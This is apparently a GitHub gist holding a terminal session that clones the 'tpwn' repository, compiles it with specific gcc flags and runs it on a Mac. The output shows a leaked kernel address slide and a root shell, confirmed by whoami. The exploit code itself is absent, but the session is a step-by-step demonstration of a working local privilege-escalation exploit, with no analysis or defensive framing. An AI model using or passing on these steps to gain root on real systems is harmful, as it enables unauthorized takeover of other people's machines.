Skip to content

Instantly share code, notes, and snippets.

@soheil-zz
Created August 16, 2015 02:11
Show Gist options
  • Save soheil-zz/799c843478f4dcad94b1 to your computer and use it in GitHub Desktop.
Save soheil-zz/799c843478f4dcad94b1 to your computer and use it in GitHub Desktop.
soheil@hungryheidi tmp $ git clone https://github.com/kpwn/tpwn.git
Cloning into 'tpwn'...
remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0
Unpacking objects: 100% (16/16), done.
Checking connectivity... done.
soheil@hungryheidi tmp $ whoami
soheil
soheil@hungryheidi tmp $ cd tpwn/
soheil@hungryheidi tpwn (master) $ make
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn
soheil@hungryheidi tpwn (master) $ ./tpwn
leaked kaslr slide, @ 0x0000000021600000
sh-3.2# whoami
root
sh-3.2#
@soheil-zz
Copy link
Author

@soheil-zz
Copy link
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment